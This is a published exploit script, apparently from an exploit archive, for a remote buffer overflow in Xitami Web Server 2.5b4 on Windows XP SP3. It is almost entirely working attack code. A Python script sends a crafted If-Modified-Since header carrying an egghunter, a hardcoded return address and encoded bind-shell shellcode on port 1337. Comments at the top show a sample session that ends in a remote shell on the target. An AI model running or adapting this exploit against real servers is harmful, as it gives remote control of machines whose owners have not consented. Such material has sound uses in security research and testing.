Xitami Web Server 2.5b4 – Remote Buffer Overflow (Egghunter)
# Exploit Title: Xitami Web Server 2.5 Remote Buffer Overflow (Egghunter) # Date: June 4, 2011 # Author: Glafkos Charalambous # Version: 2.5b4 # Tested on: Windows XP SP3 En # Discovered by: Krystian Kloskowski # # root@bt:~/Desktop# python xitami.py 192.168.0.24 80 # [+] Connected # [+] Sending payload... # [+] Check Port 1337 for your shell # root@bt:~/Desktop# telnet 192.168.0.24 1337 # Trying 192.168.0.24... # Connected to 192.168.0.24. # Escape character is '^]'. # Microsoft Windows XP [Version 5.1.2600] # (C) Copyright 1985-2001 Microsoft Corp. # # C:\Xitami>ipconfig # ipconfig # # Windows IP Configuration # # # Ethernet adapter Local Area Connection: # # Connection-specific DNS Suffix . : # IP Address. . . . . . . . . . . . : 192.168.0.24 # Subnet Mask . . . . . . . . . . . : 255.255.255.0 # Default Gateway . . . . . . . . . : 192.168.0.1 # # C:\Xitami> import time import socket import sys if len(sys.argv) != 3: print "Usage: ./xitami.py <Target IP> <Target Port>" sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) egghunt = ("\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02" "\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8" "w00t" # 4 byte tag "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7") # ./msfpayload windows/shell_bind_tcp lport=1337 exitfunc=process R | ./msfencode -b '\x00\x0a\x0d' -e x86/shikata_ga_nai -c 7 -t c shellcode = ("\xba\xa2\xcf\xad\x8d\xdb\xd1\xd9\x74\x24\xf4\x5e\x29\xc9\xb1" "\x7e\x83\xee\xfc\x31\x56\x11\x03\x56\x11\xe2\x57\x70\xe4\x08" "\x09\x2d\x2e\xd1\xec\x46\xf5\x22\x56\x96\x3c\x7b\x1e\x5b\x7e" "\x78\xef\x23\x71\x82\x3e\x5f\xf1\xd3\x58\x3b\x53\x30\xe6\xbc" "\x82\xb3\xba\xf5\xdf\x9e\x21\x78\xcd\x8d\x25\x87\x5b\xd4\xfd" "\x6c\xcd\xcf\x7b\x68\x84\x3d\x07\xcb\x1e\x1b\x06\x11\x31\xfd" "\x90\x27\xff\xe6\x22\x4d\xdd\x1a\xc9\xe1\x93\x45\x4b\x13\x48" "\x74\xcc\x45\x07\x95\xd1\x38\xde\xa3\xef\x7d\x68\xb0\xd1\x67" "\x60\xe5\x89\xb5\xf7\x3e\x2f\x49\xd7\xb8\xc0\xc6\x1b\xfc\xe2" "\xbb\xc8\xae\x39\x78\x81\x4d\xc4\x1c\x2d\x16\x6d\xc3\x04\xde" "\x58\x43\x4e\xc5\x60\x46\x4b\xc9\x79\xfb\x32\xdd\x46\xb8\xd4" "\x61\x62\x92\xf6\xe8\x7b\xe8\x41\xc0\xee\xe2\xbb\x64\x6c\xb8" "\x43\x2d\xfd\xda\x61\xb0\x7c\xe6\x36\xab\x3e\x7a\x80\xe6\x60" "\x2b\x52\x1d\x53\xed\xb4\x94\x86\x8b\x66\x26\x56\x67\xe0\x7c" "\xfb\x1c\xb9\x4f\x75\x4e\x7d\x63\xac\xbc\x7e\x90\xfd\xa1\xb2" "\x6b\x06\xb4\x92\x1f\x90\x26\x1a\x4f\x3d\x18\xa2\x3c\x72\x0f" "\x93\x37\xf7\xf3\x5a\x7f\x33\xbf\x9f\xc2\xea\xb9\x13\x6c\x77" "\xb6\xd4\xc0\x37\x86\x78\xd3\x86\x8c\x9f\x3a\x0f\xb1\x5e\x0f" "\xb9\x09\xf1\x0c\xe9\x2f\xb7\xd7\xea\x37\x4f\x6a\xc3\xdb\x7b" "\x48\x32\x05\xd4\x48\xcc\x47\x59\x41\xc5\x0b\xf5\x02\xeb\x06" "\x7f\xae\x25\x2b\x16\x2d\x51\x18\x91\x9c\x96\x32\x17\x1c\x6e" "\x95\xb9\x4e\xf5\xa6\x29\x8b\x30\x48\x07\x55\xf1\xe4\xa8\xe2" "\x4d\xe0\x6a\xef\xd3\x4e\x07\x4d\xb2\x25\xe0\xb2\x33\x1b\xdc" "\x50\xac\x59\x35\xd9\x91\x9c\x44\x5a\xc1\x52\x19\x0f\x03\xc9" "\x1d\x71\xe5\x79\x54\x3d\xc0\x87\x4d\x9f\x9d\x69\x09\xd4\x6b" "\xe2\xa5\xe0\x77\xd0\xb9\xbd\x85\xd0\x35\xcb\x59\x78\x22\xf2" "\x25\x78\x64\xf6\x2a\x8d\x3e\xc8\xce\x7c\x6f\x64\x24\xb4\x2c" "\x14\xd5\xff\x9c\x84\x40\xf1\x74\xcf\x3c\x4f\xac\x2c\xe2\xae" "\xaa\xaf\xb0\xcf\xc8\x31\x30\xb3\xb0\x8b\x08\x25\x2d\x95\x3d" "\xf5\x0c\x1f\x23\xd9\x87\x31\x79\xd2\x8d\xad\x59\xdd\xb0\x4c" "\xa4\x17\xeb\x97\xb0\x90\x3c\x45\xb7\x3f\x2b\x04\xf3\xc6\xe8" "\x56\x25\x7a\xfd\x6e\x3b\xef\x64\x14\x9b\x67\x08\x9c\x47\x73" "\x24\x1e\x1e\xc6\xd2\xad\xcc\x0c\xc8\xbb\x4e\x12\xde\xf5\x35" "\x25\xe0\xb0\xef\x04\xb5\x29\x62\xc6\x56\x44\x52\x16\xa3\x63" "\x63\xcd\xd1\xc9\x45\x87\x3b\xd6\x4b\x7a\x24\xd5\xd4\x7d\x4c" "\x83\x06\x16\x88\x7f") jump = "\xeb\x22" # short jump buf = "A" * 72 buf += "\xD7\x30\x9D\x7C" # jmp esp (user32.dll) / XP SP3 English buf += jump buf += "\x90" * 50 buf += egghunt buf += "w00tw00t" # tag buf += shellcode header = ( 'GET / HTTP/1.1\r\n' 'Host: %s\r\n' 'If-Modified-Since: pwned, %s\r\n' '\r\n') % (target, buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((target, port)) print "[+] Connected" except: print "[!] Connection Failed" sys.exit(0) print "[+] Sending payload..." s.send(header) time.sleep(1) s.close() print "[+] Check port 1337 for your shell" |